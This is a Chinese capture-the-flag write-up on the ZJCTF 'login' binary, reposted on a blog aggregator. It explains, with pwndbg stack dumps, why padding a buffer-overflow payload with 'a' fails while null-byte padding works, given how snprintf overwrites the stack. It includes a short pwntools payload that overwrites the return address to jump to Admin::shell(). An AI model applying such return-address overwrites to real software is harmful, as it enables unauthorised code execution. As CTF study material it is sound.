当前位置:网站首页>ZJCTF_login
ZJCTF_login
2022-07-27 00:06:00 【Morphy_Amo】
这道题本身难度不高,具体解题过程可以参考其他师傅的write up。这里主要记录自己做题中的一个疑惑。
构造payload的时候,为什么用‘a’填充就会报错,用‘\x00’填充就没问题?
问题出在
0x400a39 call [email protected] <[email protected]>
首先看下用a填充的时候
payload = b'2jctf_pa5sw0rd\0'
payload = payload.ljust(0x48, b'a') + p64(0x400e88)
执行snprintf函数之前,栈结构如下,0x7ffe95152a98是我们希望跳转的地址
00:0000│ rsp 0x7ffe95152a30 —▸ 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
01:0008│ 0x7ffe95152a38 —▸ 0x7ffe95152b38 ◂— '2jctf_pa5sw0rd'
02:0010│ 0x7ffe95152a40 —▸ 0x6021b8 (login+88) ◂— '2jctf_pa5sw0rd'
03:0018│ 0x7ffe95152a48 —▸ 0x7ffe95152ad0 —▸ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
04:0020│ rcx rdi r8 0x7ffe95152a50 ◂— '2jctf_pa5sw0rd'
05:0028│ 0x7ffe95152a58 ◂— 0x6100647230777335 /* '5sw0rd' */
06:0030│ 0x7ffe95152a60 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 6 skipped
0d:0068│ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
0f:0078│ 0x7ffe95152aa8 ◂— 0x8efdc4a1c20f1800
10:0080│ rbp 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
11:0088│ 0x7ffe95152ab8 —▸ 0x400bd8 (main+261) ◂— mov eax, 0
执行后, 因为向0x7ffe95152a98开始的位置传入了50个字符,因此原栈结构被破坏
09:0048│ 0x7ffe95152a78 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 3 skipped
0d:0068│ 0x7ffe95152a98 ◂— 0x61616161616161 /* 'aaaaaaa' */
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
snprintf函数遇到\x00时会被截断,因此当我们用\x00去填充的时候,覆盖到sprintf位置的字符串为Password accepted: Password accepted: \n,长度并不足以覆盖我们构造的返回地址,因此此时可以getshell成功。
边栏推荐
- 八皇后编程实现
- Rust web (I) -- self built TCP server
- Okaleido tiger is about to log in to binance NFT in the second round, which has aroused heated discussion in the community
- Applet utils
- After working in Tencent testing post for 5 years, I was ruthlessly dismissed in July, trying to wake up my brother who was still paddling
- #博客大赛# 斗胆尝试浅入门之BAC
- Interview shock 68: why does TCP need three handshakes?
- Arduino UNO +74hc164 water lamp example
- Interrupt, signal, system call
- 【Redis】五种常用的数据类型
猜你喜欢
![[Li Kou] 1859. Sort sentences](/img/0c/f7f698ad0052d07be98e5f888d7da9.png)
[Li Kou] 1859. Sort sentences

Greed - 376. Swing sequence

Goatgui invites you to attend a machine learning seminar

Towhee 每周模型

Ubuntu基于docker的mysql主从数据库配置

I was fired at the age of 30. I want to understand a few things

It has been established for 3 years, and now goose factory has an annual income of millions +. As some suggestions of software testing predecessors

人们为什么热衷于给事物排序

c语言:深度学习递归

"Software testing" packaging resume directly improves the pass rate from these points
随机推荐
面试突击68:为什么 TCP 需要 3 次握手?
解决小程序报错getLocation:fail the api need to be declared in the requiredPrivateInfos field in app.json
idea中常用的快捷键
Graduated and entered HW, from test engineer to project manager. Now I earn millions in goose factory every year. My suggestions to you
转:俞敏洪:阻碍你成长的,是你自己
bp 插件临时代码记录
iNFTnews | GGAC联合中国航天ASES 独家出品《中国2065典藏版》
小程序utils
Swiperjs custom width
JS 数组去重(含简单数组去重、对象数组去重)
Database knowledge required by testers: MySQL common syntax
动态设置小程序swiper的高度
【RYU】安装RYU常见问题及解决办法
Plato Farm通过LaaS协议Elephant Swap,为社区用户带来全新体验
什么是进程?
想要彻底搞的性能优化,得先从底层逻辑开始了解~
【Redis】快速入门
C language program compilation (preprocessing)
CS224W fall 1.2 Applications of Graph ML
Web3.0世界知识体系分享-什么是Web3.0